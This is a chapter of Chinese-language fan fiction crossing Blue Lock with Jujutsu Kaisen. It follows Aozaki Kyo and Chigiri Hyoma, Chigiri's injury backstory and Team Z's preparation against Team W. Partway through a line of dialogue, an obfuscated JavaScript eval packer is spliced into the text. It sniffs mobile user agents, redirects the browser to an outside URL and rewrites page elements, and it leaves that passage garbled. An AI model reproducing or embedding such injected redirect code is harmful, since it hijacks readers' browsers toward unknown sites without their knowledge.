“你之前有过不太好的经历吗?” 夏油杰温和地断言,他无视千切剧变的眼神笑着走到少年面前,居高临下地说: “先管好自己的负面情绪吧,猴——” “杰!” 镜用大声的呼喊打断夏油的话。 “这位是千切,千切豹马。”他轻声介绍道,“我在「蓝色监狱」的「伙伴」之一。” “……请多指教。”千切冷着脸道。 “请多指教。”夏油杰出于礼貌回应道。 他从少年身边侧身而过,眉眼弯弯地留下一句话: “总之,慢慢考虑,镜。” 无视背后的咒灵血液,镜安静地挂在千切身上恢复了一点体力后,挪到洗手池边用水龙头里的清水洗净双手,尤其是沾满真人血液的指缝。 “还有头发。”看着那头雪白短发多出刺目的鲜红,千切忍不住提醒道。 “唔……” 镜皱起眉,看着镜子里自己的脸。 “干脆洗个头吧,压根没办法用这副样子回寝室啊。” 话音刚落,手边递过来一瓶洗发露。 镜看了看问:“……给我的?” 千切微微挑眉。 “啊。” 镜接过洗发露,“谢谢。”这样就不用考虑怎么取到在寝室储物柜躺尸的洗发水了。 细密的泡沫在镜头顶的发旋间膨胀,水流冲刷后,那头白发去掉了腥气和血色,变回了往日干净清爽的样子。 “正常多了。” 镜满意地评价,说完,顿了顿。 “对了,千切,我有话想和你说。” 来了吗?千切放下手臂,从环抱双臂的姿势变成了自然站立的姿势。 “你想说什么?那个男人的事,还是你为什么会那么熟悉那些怪物的事?” 镜沉默了,“其实我想说的是和W队比赛的事。至于千切你说的那些……” “……我不想说,抱歉。” 26.未来 砰! 足球撞在门柱上的声音。伊右卫门站在球门前看着颤抖晃动的门柱,听着耳边回响的嗡鸣,表情复杂地看向镜。 “苍崎你……心情不好吗?” “没有。”镜原地踩了踩草坪,皱着眉看向自己的小腿,“我只是状态不好……” 镜紧盯着高飞出去却再也没反弹起来的足球。三秒前,他只是想按既定的训练计划尝试一下单刀面对守门员时的远射,此刻凹陷却从足球的表面辐射开来——那上面的黑白皮革开了线,再也没办法使用了。 镜晃晃脑袋,看着排在后面等待的国神竖起一根手指说:“抱歉,我想再来一次。” 新的足球被摆放在眼前。 别犹豫。镜放慢呼吸,大力起脚——这次足球划过一道刁钻的弧线擦着球门和伊右卫门的指尖从高位打进了球门。 苍崎镜心下微安,起身让出了位置。 这样才对。 国神站在旁边看到了苍崎镜踢出这两球的全过程。 “喂,苍崎。”他局促地揉了揉头发,问道:“刚才那球,你是怎么踢出来的?” 镜正准备去另一边换个项目练习,听到这话,不由得一脸古怪地站在了原地。 “怎么踢出来的……你说的哪个,第一个还是第二个?” “都是。” “第一个是发力失误,第二个就是简单的弧线球吧。怎么了?有什么不对?”镜很奇怪国神问出这个问题的理由。 “不。怎么说,感觉不是那样。”国神诚实地反对道。 镜「唔?」了一声,如果不是清楚国神的为人,他大概会觉得:这是想故意抓着他的失误,让他失态出丑。 但国神不是这样的人。正因如此,镜更加一头雾水:“所以,那是怎样?” “是「速度」吧。”千切加入话题。“在保证力度的前提下起脚速度有了质的飞跃。这样射门,威胁性比单纯的远射高了很多。” 不知为何,前两天起,苍崎镜的射门就带上了「攻击性」的气质,甚至时不时给旁观者一种「失控」的感觉。这是之前他充满理性的风格里从来没有的。 “没错,就是这个!” 国神赞同地一敲手掌。 镜从旁质疑道:“千切,你不是不参与这些讨论的吗?” “哦,是不需要我来吗?那我走了。”千切说完作势欲走。 “喂喂,怎么会,我们很欢迎。”国神当即挽留道,搂住镜的肩膀:“是吧,苍崎。” 镜微不可查地缩了缩肩膀,没办法跟国神解释清楚他和千切之间的事。从在「蓝色监狱」内部遭遇咒灵的那天起,他就时不时感受到一股视线落在自己身上。回头观察会发现千切表情冷淡地站在那里,被他发现后便一派镇定地转头做自己的事。 他别过头,只好勉强道: “嗯,很欢迎。” 训练结束,解散后的休息时间,各人各有自己的事做。 镜今天的安排是:先去吃午饭,然后去放映室复盘「五号监狱」各队伍的比赛,尤其是Z队接下来的对手——W队。 W队的核心是一对默契配合的兄弟。镜往嘴里扒拉米饭,双眼放空。按照目前的处境来看,五轮比赛胜利两场,就能有超过百分之七十五的几率留在这里。那么最后一场比赛就能有保平争胜的余裕。 漆黑的水面上落下一片落叶,湖上的死寂被一圈圈起伏的涟漪打破。 耳边传来叮的一声,是餐盘的底面接触餐桌的声音。镜抬起头,赫然是他现在最不想见到的人:千切豹马。 镜沉默不语,最可怕的诅咒是他人的期待。 “……你为什么在这里?” 千切无视了镜驱赶性的态度,淡然地拿起筷子:“和你谈比赛的事,「司令官」。” 镜原本要说的话彻底被堵在喉咙里。这是什么超级正当的理由。这么说,自己岂不是既不可能拒绝也不可能走人了? 他不得已妥协了:“那你要说什么?” “下场比赛,试着利用我吧。” 在镜耳中,千切的语调很稳,就像那天即使险些重伤,仍告诉他「我会找人来」时的语调一样稳。 镜微微一怔,将问题抛还回去:“因为什么?不想踢后卫了?” “别忘了,苍崎。这里是筛选前锋的「蓝色监狱」,”千切撩开额前的刘海,将盘子里的食物送入口中,“就算是被你们习惯性当做后卫的我,之前也是数一数二的前锋。” 就算如此,这份自荐也太过突然。镜干脆问道:“但是千切,你的武器是什么?” “你知道的,出于对胜负的考量,如果回答不了这个问题的话换谁都不可能答应你。” 前十字韧带拉伤的那侧膝盖似乎因镜无意识的话语传来难耐的幻痛,心脏仿佛都被扼紧了,整个人被拽回到确诊结果出来后那段黑暗无光的日子。 心里的防御机制叫嚣着,鼓动千切说出攻击性的话反击眼前的家伙。但说出这番话的少年却只是安静地望着他,用着略显回避的表情不躲不闪地注视着他。 千切问:“在回答这个问题前,苍崎,我有些话想问你。来到监狱,你在做什么?” 镜睁大眼睛,眼底闪过一抹压抑。“和你想的一样,在做这些可怕的事。”他冷下语气问道:“所以,你到底想说什么?不是说谈比赛的事吗?” “我之前一直在医院里休养,因为右膝的前十字韧带断裂。”镜的眼神猛地变化,千切只是接着用风轻云淡的语气说:“医生说,再受伤一次就再也跑不了了。” 镜轻声应和:“啊……那还真是可怕。” “是啊,对我来说,这事比那只怪物还要可怕。”他顿了顿,又问道:“很长时间吗?” 镜很快反应过来千切在问什么。那些叫做「咒灵」的怪物他已接触了多久。 “不长不短吧,差不多五六年——唔。” 话一出口,镜自己都觉得不可思议。千切的声音就像有什么魔力,一直以来都小心翼翼保存的秘密就这样被吐露出来。 千切重复着进餐的动作,频率稳定,礼仪得体。 “稍等……比起我,你的膝盖更重要。” 回过神后,镜掰正思绪,下定决心说: “谢谢你愿意告诉我实情。但是,我个人并不觉得一场比赛值得你搭上自己的未来。” “所以虽然能理解你的心情——但,恕我拒绝。” 千切将筷子按在桌上,反问道:“那,过去的五六年你又在想什么?” 红眸紧追着苍崎镜,试图从他最本能的反应当中找出一丝破绽。 “苍崎,在拒绝我前仔细想清楚了:你自己都是不爱惜身体的人,有什么资格管我?” “那是因为我有更重要的事情要做!”镜抬高声音反驳,咬紧牙关,沉声问:“话说回来,你又懂些什么?你见过诅咒残杀人类的画面吗?你见过诅咒师把咒术师杀死的画面吗?为了改变那样的现状我做了什么,你同样也不知道吧!” 我一直引以为傲又排斥不已的过去,你到底把它当成什么了? “虽然我的确不知道你说的这些东西,但是,”千切轻轻按压着右腿的膝盖,眼眸低垂道:“你也不知道这双腿对我来说意味着什么吧。” 镜卡壳了,“抱歉,千切……” “别说这个了。”千切打断道,“你刚才说搭上自己的未来?谁的?我的?” 千切的声音难得地透露着执着。 “没有这双腿,不能继续奔跑的未来,苍崎,看着我的眼睛告诉我,”声音里是如火般强烈的感情,“那种未来,是我想要的吗?” 未来?是啊。 耳畔响起千切的质问,苍崎镜忍不住怀疑自己:现在的一切,是过去的自己想要的未来吗?自己当时确确实实用尽了全力,直到最后悟都是最强的,除了他没人站上那样的位置,而且自己还靠着同伴的力量改变了咒术界。 世界确实改变了,而更重要的是,无论从哪方面来看那种改变都是有价值的。 新咒术界的规则会让咒术师们的权益得到更多保障,不仅咒术师的待遇会提高,更高效运转的咒术界也能给普通人的生活带来更多改变,哪怕遇到了解决不了的难题:没关系,有悟在一定没问题的,毕竟那可是不掺任何水分实打实的「最强」。 这也就证明了:自己——「苍崎镜(五条镜)」,确实创造了不错的未来吧? 明明从理性的角度看就是这样,但镜心里的疑惑却在不断咆哮。 “千切。” 被属于千切豹马的感情感染,镜终于还是说出了他最恐惧的可能。 “要是不想要的未来确实发生了呢?” 其实从那天起自己就一直在担心咒术界的情况。想知道杰出了什么事、想知道硝子的近况,以及,想知道悟过得怎么样,想知道咒术界还是不是他离开前的样子——那想法一度强烈到在苍崎镜的脑子里发出了「现在就离开这里,回去看一看」的呼声。 分别前,杰脸上露出的微笑一直盘桓在他的脑海里。 如果说是自己的离开导致同伴出了什么意外,苍崎镜绝对无法原谅自己。 但是做不到。因为和咒术师的生活相比,现在的生活真的像梦境一样。 双翼雪白的鸟跨越生死的暴风雨,打破咒术界的牢笼去到人类社会的蓝天中,至此便决定了要在这片土地上寻找自己的幸福。 由此,进退两难。 “要是真的出事了怎么办?”自己真的要舍弃现在的生活回到过去吗?不,如果真是那样的话,自己绝对会这么做,但代价就是彻底失去现在刚刚步入正轨的生活吧。 千切皱起眉,误会了镜的意思:“喂,苍崎,难道你很希望我再也跑不了步吗?” 镜无意识攥拳,什么都没说,“……” 看出镜的状态不对,千切放过了他。 “算了。”他低声说,“其实我来「蓝色监狱」,一开始是为了寻找放弃足球的理由。” “……”镜抬起头,开口,“足球,对你不是很重要吗?” “哦?”千切高傲地笑着说:“看来你有认真听我说话啊,真不错,夸奖你一下好了。” 镜扭过头,低声道,“快点回答。” “要说为什么,大概是用这种方式放弃很轻松吧。” 看着镜的反应,千切解释道。 “毕竟随便想想都能知道,假如身边全都是和失去天赋前的自己一样强的前锋,就该知道那个变成凡人还还抱着成为「世界第一前锋」梦想的自己是多么可笑了。” “没这回事。”镜低低反驳道,手指纠缠在一起,“你的速度,也是数一数二的。” 千切意外地挑眉,“原来不是剧本吗?” 镜很奇怪,“什么?” “哼——不。没什么。”千切答,“而且,你不用担心,那毕竟也只是一种念头而已。我会提出这种要求就证明我没选那一边。” 话是这么说,但镜总觉得,说完那句话后千切连看自己的目光都变得不一样了。 他感觉不自在,“所以,你到底是什么意思?冒着放弃足球生涯的风险也要我跟你在下一场比赛里配合,到底有什么意义?” “一时间也说不清楚。总之,告诉我你是同意还是不同意。” 镜皱起眉,“非得是我吗?” “啊。”千切用不容拒绝的语气说道,“非得是你。” 还对千切之前的话耿耿于怀,镜饭也吃不下去了,草草收起餐具后起身,“既然你这么说,那我肯定会答应。不过我希望你注意安全,别把自己当成不重要的东西。” 说完这些话,镜走到千切面前,微微低下头。 “还有,可以的话,麻烦你忘掉那天发生的事,实在不行也请别跟别人说。我知道这样对你很不公平,但是……” 镜顿住了,感受着头顶传来的感觉,出声道:“……千切,别摸我脑袋。” 千切抬起手,“啊,抱歉,一时没忍住就摸上去了。” “总之,当那是噩梦也好,需要我补偿才肯忘记也罢,别把那事说出去。”镜整了整心情郑重地请求,“对你没有好处,只是为了我还有可能继续这样生活,拜托你,千切。” “那天的事啊,好,我不会说的。”千切说,“但忘掉就算了,补偿——我再想想。” “嗯,谢谢你。” 镜匆忙地点点头,不消半分钟便消失在了餐厅。 “那天的事啊。”千切闭上眼,“不,重要的不仅是那天的事吧。” 那日当晚,千切豹马久久不能入睡,危机当头时的冷静消失得无影无踪,闭上眼就是回忆在重播当时的景象,肺部传来淡淡的灼烧感——那是当时残留的血腥味在体内发烫发痒。 他转过头。 因为床位连在一起,只要侧过脸就能看到白发少年熟睡后无声无息的睡颜。 微光落在纤长的睫毛上,那头白发也在黑暗中借着走廊里的白炽灯晕出一圈毛月亮质感的银白闪光。 此时如果他睁开眼,就能看到那双被别人盛赞的蓝色眼睛了吧,就色彩而言还蛮契合那烂得要死的绰号的。 嘴唇张开轻轻呢喃。 「青空」。 千切豹马之所以记得这个,主要的契机是还未受伤时一家采访自己的媒体恰巧提起过这件事。正因如此,每当看到这个人或是听别人提起这个人的名字,都会让他想起那时候的时。 “千切豹马选手,你的速度真的非常出彩呢,在整个高中足球届都是数一数二的。”戴着厚眼镜的记者举高了话筒,“不过你有听说过仙台的「青空」苍崎选手吗?很多人认为你们是同一类型的球员,只不过在作战风格上各有特色。” “那是谁?”千切拿起脖子上的围巾擦掉额头流下的汗。 记者问出下一个问题。在他身边,助手的笔尖飞速晃动,显然找到了满意的爆点。 “不会吧?” 在球场的拦网外,聚集在一起的女孩子见状惊讶地聊起天来。 “千切居然不知道那个「青空」,真的假的?” “不知道也很正常。为什么要知道,千切自己也是超级厉害的足球天才啊。” 女孩子的同伴很显然是「千切豹马派」的一员。 “你说的其实也对啦。话说,那些记者又来了,真是的,总是来打扰千切くん练习。” 女孩子抱怨道,不善地看着记者和他的助手。 “看那表情,估计又要写什么「天才之争」之类的稿子博眼球了吧。” 注意到一个字眼,千切微微侧头看去。 当天训练结束后,他搜索「仙台,高中足球,苍崎」,而后便找到了网上流传的苍崎镜高中阶段出道战的比赛录像。 属于苍崎镜的出道战,是与当时仙台第一强队的生死战:赢就能预选赛出线,输就会葬送过去一年的努力。 杉泽第三上半场被攻进一球,又在下半场艰难追平,但时间已所剩无几。 由于上半场没能上场,真正的上场时间只有下半场的19分钟。 接到替换上场的指令后,场边揣着兜满脸冷漠的少年安静起身脱下外套,露出身上白底浅绿格的足球服和上面耀眼的7号字。 那时场没人期待他们会获胜的比赛。直到一个孤注一掷的传球后,在满场无法辨认的嘶吼和欢呼中,足球从草叶飞溅的草坪上超速起飞,如飞鸟般高高划过了球场,以守门员和后防线都没办法反应的速度落进了远处的球门。 “Goal————!”解说在怒吼,“——世界波!最后一分钟,衫泽第三的7号打出一记世界波,漂亮地逆转了比赛!” 啪。千切暂停了视频,倒放重播了进球的片段,暂停——再暂停,最后停顿。 千切专注地盯着屏幕,重新找到视频里白发少年的个人进球集锦。 “远射加上弧线?仅此而已吗。” 虽然不错,但在同样是天才的千切豹马眼里这种进球远远不值得他感到惊艳。 话虽如此,他还是将这个集锦视频默默加入收藏。 扫过熟悉的脸,千切挑了挑眉,不置可否地点开标注了「日本高中届的青空?不可反制的死角射门!杉泽第三人气王——苍崎选手的日常大揭秘」超长绰号的采访视频。 他看到今天刚刚采访完自己的记者在杉泽第三高中的门口对着镜头说道: “……现在我们已经抵达苍崎镜选手的母校。相信各位已经在这段时间里听过了这位选手的名字,这位选手偏爱弧线刁钻的高速球,能通过技巧做到对守门员死角的精准打击,是日本不可多得的超攻击型选手……” 千切抬起膝盖,抱住双腿,整个人蜷坐在椅子上目不转睛地盯着屏幕。 镜头一转,出现了苍崎镜的身影,少年正趴在教室课桌上对着本子写写画画。 看到记者出现,少年放下水笔,礼貌地起身,微微点点头。 教室的窗户外,人来人往的学院过道旁杉泽第三的樱花开得如云霞般灿烂。和身边的同学一样,白发少年穿着日本经典款式的黑色制服,放松表情站在原地等待记者的提问,显然是这样的场面接受良好。 “采访苍崎选手真的很愉快呢!就像是朋友聊天一样。”记者笑得灿烂,“辛苦了。最后一个问题:苍崎选手知道和你同为足球选手的千切——千切くん吗?” 千切敏锐地意识到:会这么问,完全是因为这个记者自己的行程安排里接下来就是自己!他只管抛出这个话题,而不管苍崎镜回答什么,这帮家伙都会强行找出关联把他们两个绑定在一篇文章里变成编辑部的热点的! “真卖力啊。”千切叹了口气,为记者们的无所不用其极无奈。“怎么可能知道?”这些选手每天的训练就够忙了,哪里有机会像漫画里那样天天关注别的对手怎么样? “知道啊。”白发少年回答。 哈? 开玩笑的吧。 一时间,千切豹马甚至怀疑是采访提前安排了剧本,连记者的破音都因此变成矫揉造作的表演。 “欸?!其它县的球员苍崎选手也有所了解吗?”记者激情满满地举起话筒,把麦克风递到了少年嘴边,“难道是战术需要?杉泽第三已在暗地里立下进军全国大赛的志向?!” 少年无可奈何地回答: “不。是个人兴趣。” 他顿了顿,认真地调整本就端正挺拔的站姿,双眼看向镜头。 “我非常期待有能踢出精彩比赛的选手出现,不管是作为对手,还是作为伙伴。” 记者穷追不舍地问:“那么,了解大概有多少呢?” “也不多吧。”苍崎镜回答,“名字和长处还是知道的,千切くん的速度令人震惊。” “这方面苍崎选手也很有优势呢!”记者问:“会因为这点有被挑战的感觉吗?” 苍崎镜沉思一会,答道: “并没有和这位「千切」真的较量过,所以没法回答。” “但是,即便如此我也能看出来,他的速度,包括思维,都非常了不起。” “我很期待有朝一日能在全国大赛的舞台上和他交手——不,只是普通的见面就行。” “很高的评价呢!不知道千切くん听到来自对手的赞扬会有什么感受。” 想到了什么,心满意足的记者放下话筒的手停在半空中,忍不住问道: “不过从刚才起苍崎选手就没提过队伍的比赛呢,难道说是因为在县内已经没有苍崎选手关注的对手了吗?” 像完全不觉得这是问题,苍崎镜眉头都没皱一下:“我很强吧?进球数就是证明。” “所以,向往更强的同伴和对手都是我应有的权利吧?” 记者大惊:“怎么会,这种思想不会导致队内不和吗?” 闻言,白发少年走到教室后门边,唰地拉开木门——一连串人像是下饺子一样落进了教室里。 苍崎镜一手一个把人拎起来:“记者先生可以自己问,他们是我在杉泽第三的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15114695|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队友。” 镜头忠实地记录着少年们的反应,其中有几道目光相当具有攻击性。 记者讪笑道:“哈哈哈,氛围真好呢!大家可能忘记了,不只是球场,苍崎选手在校内的人气也是非常高的!” 其中,疑似领头人的粗犷男生揣着衣兜走近镜头,掏出手,手里拿着一小袋盐。 他将盐洒向镜头。 “去,去。” “哎呀!”记者惊呼,“编辑部的相机!” 撒完盐后,粗犷男生双手合十:“相机不会有事,但是各位还请注意下提问内容。” “队长在COS佛祖吗?”“不知道……话说我们上电视了是不是该注意下形象?”另两个男生在镜头边缘窃窃私语。 “我们足球社的苍崎——”粗犷男生一拍白发少年的肩膀,两人站在一起,才发现他居然比苍崎还高出一头有余。 “是整个社团里最宝贵的存在!” “好耶!”“喔!” 鼓掌声不绝于耳。一见有人捧场,粗犷男生立刻像是启动开关喋喋不休起来: “别看苍崎他表面上不好相处,其实不仅会和教练一起帮整个球队制定训练计划、分享经验,还会在休息日请大家聚餐,带头复盘比赛录像。最重要的是,他是我们球队唯二能记住定期打扫器材室的人!” 记者颤巍巍地问:“请、请问另一个是?” 粗犷男生的脸蒙上一层颓丧的阴影,他用拇指指向自己:“不才,正是鄙人。” “顺便一提,我要在这里公开批评我社部分成员的卫生习惯!希望他们能尽快够改掉两个星期不○○也不○○○的毛病,而且记得勤○○○○!” “喂队长!” 粗犷男生的话令教室里乱作一团。 苍崎镜见状,默默耸耸肩,对镜头「再见」似的招招手。 采访恰到好处地从这里中断。画面再度出现时已经是另一位记者站在杉泽第三校门前微笑由老师陪同讲述校园史了。 千切沉默着关掉网页,总感觉这只七分钟的采访超乎想象的漫长。 比起这些,那种射门…… 闭上眼睛,被千切豹马自己评价为「仅此而已」的射门却反复在眼前上映。 弧线刁钻的高速球——那样的进球,往往有着高飞的弧线;越过所有人的头顶,再吸引所有人的目光,如一只向蔚蓝天际展翅翱翔的青鸟般自由,无法阻挡,地面的凡人只能仰视它飞翔时的美丽身姿,再看着它以战斗机般的气势下坠落进球门。 少年从椅子上,光着脚走到门边。看到那种射门,让他有种想去奔跑的冲动。 被人视作「天才」的感觉非常美妙,被同样作为天才的人真诚地赞许自己作为天才的才能更是种全新且无法拒绝的绝妙体验。 “很抱歉,豹马的膝盖再受伤一次,恐怕就再也无法跑步了。” 千切豹马在掩嘴流泪的母亲身边呆愣地听着医生的诊断,尽管想捂住耳朵逃避现实的念头无比强烈,但为了维护自尊,也为了鼓励身侧的母亲,少年像是人偶一样坐在那里任由医生解释。 被赋予天赋又被夺走,连带着拥有的一切和重要的梦想都破灭了。神明啊,假如你还愿意认真看我一眼的话,求你告诉我,为什么会有这种残忍的事啊? “呀呀,这不是天才(笑)くん吗?”鳄间计助咧着牙嗤笑道,没有高光的眼睛毫不掩饰对他眼中的「前天才」千切豹马的厌恶和讽刺。他的兄弟鳄间淳一在旁边板着脸一直点头。 “断腿跑不动的家伙怎么还在这里,不是应该在场外乖乖看着我们比赛吗?” 千切豹马几乎要从他们身上嗅到实质性的恶意,那些恶意凝结成手,将心底残存一丝希望企图回到球场奔跑的他打压在地。一抬头,眼前就是两张大笑的脸。 “豹马?”回家时,姐姐在餐桌旁转过头呼唤他,“一回来就去房间?不来吃饭吗?” “……谢谢,姐姐,我不饿。”说完,他就登上楼梯。 阁楼的房间里回响着风扇的声音,电脑屏幕上随机播放的视频里的解说声彻底盖过原本就压抑到底的呜咽啜泣的动静。 随机播放的视频停在熟悉的开头,不一会儿,是另一个人的声音在房间响起。 既冷静又温和,如太阳般将他带回那片寄存梦想的绿茵场,和那个一切都没有发生的开着樱花的春天。 “我非常期待有能踢出精彩比赛的选手出现,不管是作为对手,还是作为伙伴。” “并没有和这位「千切」真的较量过,所以没法回答。” “但是,即便如此我也能看出来,他的速度,包括思维,都非常了不起。” “我很期待有朝一日能在全国大赛的舞台上和他交手——不,只是普通的见面就行。” 会播到这一条采访,有一部分原因是苍崎镜那段时间依旧作为杉泽第三的选手不停地在赛场上活跃,接连不断地进球得分,创造新的成就或是打破旧的纪录。 和被伤病浪费了时间的自己不同,那家伙的技巧愈发精进了。原本还需要队友配合接应的情况,现在靠着纯粹的个人技术已经能做到强行破解。再加上一直都万里挑一的射门能力,苍崎镜完全变成了球场上最棘手的角色。 我很期待和你交手。 我很期待见到你——作为对手或队友。 一想到不过在几百公里外的地方就有那样一个人对自己有着这样的期望,少年的心里便萌生了「还不能放弃足球」的念头。 千切豹马深知自己只是在用这段视频的主人公自己都不抱有的心意欺骗自己,用歪曲他人感情的手段卑鄙地给予自己坚持下去的勇气——但是对即便如此也还在不死心地挣扎着、怎么也放不下梦想的自己来说,用什么手段根本已经不重要了,自己想要的说到底也只是继续奔跑在那片球场而已啊! 即使是艰难的复健也咬着牙挺过来。 家人还在支持自己、还有人在期待着自己,这些作为继续坚持的理由已经足够了。 回归球队后,骤降的球场表现使得千切失去先前的位置。哪怕身边到处是怜悯和嘲讽的眼神,哪怕还有像鳄间兄弟这样的人追在身边不停叫嚣,但没关系,只要自己还有这些东西,还有可以坚持的梦想,就还能继续跑下去。 春去冬来。 「嗯,我会放弃足球。」 「我选择足球,是因为6年前有一个人让我看到了有意思的足球。但在我看来,整个宫城县乃至整个日本高中的足球都非常无趣,根本没有能踢出那种球的选手存在。所以,我想不明白我为什么要继续在「足球」这件无意义的事上浪费时间。」 从苍崎镜口中出口的那些断言冰冷得像是屋外落下的大雪。带着寒意从略显倦怠的凌晨一直下到现在,仿佛不到将一切活着的痕迹都淹没的地步,绝不会选择停歇一般。 烦死了。闭嘴。闭嘴。千切的眼神几乎要把不停播放着采访的屏幕刺穿。凭什么说这种话,你不是还没见识过我的速度吗?怎么敢断定这种事! 然而,不管多么希望那声音停止,雪还是越下越大。 往日的质疑仿佛变得更刺耳了。下滑的成绩伴着他人的指指点点化作他不可否认的事实。从那以后再也没能全速奔跑的双腿也背叛了千切的意志,发出阵阵的刺痛。 想要奔跑。 不想放弃。 够了。抛掉那些莫名其妙的念头,睁开眼面对现实吧,就凭自己现在这副跑不起来的样子,有什么追逐梦想的资格? “豹马,这里有给你的信。是日本足球协会寄来的。”母亲纵使愁眉不展也还是发出温柔的声音鼓励自己,自己真的还要继续为了根本实现不了的梦想让她们担心吗? 按理来说早该放弃了。如果不是恰巧有那个人的话…… “谢谢,妈妈。”千切接过这封让他觉得烫手的信件,从信中很快了解了情况。 JFU总部大楼的大厅里入眼便是奢华的水晶吊灯,拐过弯走进演说厅,千切便站在角落看着手表等待起主持人的到来。 他隐隐意识到,自己会来这种地方,大概只是出于「足球天才」的身份被认可后的满足,以及一些渐渐微弱到不可听闻的「也许自己还能实现梦想」的心声。 人渐渐多起来。黑色锅盖头男人登上舞台,用宣讲般的口吻讲述了「蓝色监狱」的事。 “绘心甚八教练。” 在黑暗无光的日子里轮播无数次,听到熟悉得不能再熟悉的声音在几米外响起。为了确认自己的判断,千切豹马猛地转头看向声音出现的位置——没有错,那个几天前还说过放弃足球的混蛋现在就站在那里,高举着手,用那副万年不变的冷静表情对着绘心甚八。 “请问去「蓝色监狱」的路该怎么走?” 这种货真价实的感觉让千切发愣。 什么意思?他回心转意了吗?因为那个锅盖头说的话? 说实话,千切豹马,并不了解苍崎镜的想法和感受。但是作为经历过那样地狱甚至仍处在那座地狱里的人,他能从苍崎镜身上看出已做出抉择之人才有的觉悟。 那份觉悟曾让他注目,也曾作为他虚假的希望支撑他去实现梦想。只是没想到,从视野里短暂消失后,谁都以为再也不会出现的觉悟,在此刻再度以谁也料想不到的方式出现在了众人眼前。 你让我搞不明白啊。到底是要放弃,还是要坚持下去? 没机会问出这个问题,「蓝色监狱」的大门已经开启,想要弄清楚这件事能做出选择的机会唯有此刻。 算了,别想了。去奔跑吧。再试一次。 当作是告别「天才」的自己也好、当作是放弃梦想必要的举措也好,再一次去试试看吧,在那个人——或者说,在过去的自己身边。 千切豹马,自始至终,你都是「足球选手」啊。那么在球场上奔跑到双脚折断就应该是你的命运吧? 将理性抛去,仅凭感性和那一束自己都并未认识到其闪耀之处的光芒指引,千切豹马,走进了「蓝色监狱」的大门。 27.W队 “总之,接下来还请多多指教。” 第二天,不知带着怎样的心情,镜站在Z队的放映屏幕前说道。尽管他解释了规则的变动,但接下来还是要面对同伴们的问题。 “喂喂喂,真的假的。”雷市怀疑地盯着镜,“绘心为什么要骗你?” 由于涉及到超自然的事件,镜没办法跟雷市解释其中的来龙去脉,只好拿出一开始的理由搪塞:“大概是因为「私心」吧,”镜回想着帝襟杏里的话,“毕竟一开始我是被绘心先生认为没有前锋潜质的家伙来着……” “哈?”雷市一脸「你骗谁」的表情,追问:“那家伙为什么现在又改变主意?” 镜回答:“当然是因为我的表现出色,所以绘心先生收回了自己的成见。” 雷市还是很怀疑,“认真的?苍崎你真的没在耍我们吗?” 镜闭了闭眼,“啊,当然是认真的。”至少说出来的部分是认真的。 但现实却是:且不论他隐瞒的超自然部分,和以往一样,镜压根不知道自己的「私心」到底是什么,也从没想去探求这种「私心」,只是一直在按自己的想法踢出自己想要的球而已。 但已经无所谓了。镜想着,走到寝室屏幕前。结果已经证明:他已经找到属于自己的「利己」,绘心先生没有再继续否认自己的天赋,愿意让自己留在「蓝色监狱」,而他也想留在这里。那么要做的事情就很简单了:就是专心打赢接下来和W队的比赛,不被「蓝色监狱」的真正规则所淘汰。 至于具体的做法,和以往一样。 “不提这个了。还是先来谈谈对战W队的战术吧。” 镜清了清嗓子,拍拍身旁的墙面,把在场众人的注意力引导到手边的屏幕上。 尽管对镜话里的细节充满怀疑,但对这个有利获胜的建议雷市没什么意见。 雷市表情凶恶地就近了下来。镜看向会议室的屋门,对屋内三三两两就坐的人问:“从刚才就没看到久远。他做什么去了吗?” 伊右卫门抓住机会解释:“久远他洗澡去了,其实今天我是负责讲述战术的人。” 镜抱臂坐下,位置在桌子旁边,“原来如此。那么今天就拜托你了,伊右卫门。” 伊右卫门向前方的屏幕举起遥控器。骤然亮起的大屏幕上,显现出一副说明目前为止胜负情况的图像。 “我们接下来的对手是W队。”伊右卫门开门见山,“这是现在五支队伍的战绩。” 屏幕上列出了一张二维表。从上面可以看出,按照排名,自V队到Y的战绩如下: V队:五比一战胜W队,八比零战胜Y队 W队:一比五输给Y队,四比一战胜X队 X队:一比四输给W队,三比四输给Y队,四比三战胜Z队 Y队:零比八输给V队,四比三战胜X队,一比二输给Z队 Z队:三比四输给X队,二比一战胜Y队 镜记得久远的分析,皱起眉,“我没记错的话,再输一场我们就奠定败局了吧?” 伊右卫门也记得这件事,点点头道:“没错。所以他们也和我们一样,不能失败。” “战胜我们的X队,居然一比四输给了他们啊。”注意到这点,成早发愁道,“那他们岂不是比我们强?” “嘛,毕竟我们是最弱的Z队嘛!”蜂乐极其乐观地描述事实。 “这么说,W队是第二强的队伍?”镜抱着手臂,“有点期待他们会用出什么战术。” “期待……” 期待对手想出办法对付自己吗?伊右卫门僵着脸按下遥控器。 顷刻,屏幕上出现两个选手,都长着奇怪的眉毛,一左一右站在屏幕中。一个挂着严肃的表情,一个嘴角咧到耳根,脸上是过度灿烂因而变得扭曲的笑容。 伊右卫门说明道:“战术的问题暂时没办法弄清。但是,目前有一点很明确,W队的关键人物是这两个人。” 233号鳄间计助,和234号鳄间淳一。 “这个排名?” 看到那两个数字,洁立刻反应过来,看向紧盯着大屏幕的镜,蓝色眼睛一眨不眨。 「蓝色监狱」第232号,苍崎镜。 “差点忘记了。”蜂乐笑嘻嘻地说:“要说强的话,我们也有很强的家伙在呢。” “抱歉,苍崎,我知道这么说会让你很不爽,”成早的愁容一扫而空,自来熟地靠过来抱住镜,揶揄地打趣道:“但是我真的超感谢绘心甚八把你送来我们队的。” “是吗?” 镜没拒绝成早的动作,只意味不明地提醒:“别全把胜负寄托在我身上就行。” 成早闻言一僵,似是想起了上场比赛里自己做的错误决策,高昂的情绪无影无踪。 镜扫过忽然沉默走开的成早,“……?” 怎么回事? 脑海里忽然想起虎杖的话。粉发少年带着无奈的笑,抱怨似的提醒他: 「镜总是像这样不说话的话,会让人误会你的感情的。」 “成早。”镜叫住同伴,想了想,“你的前插时机很好,接下来的比赛多试试也无妨。” 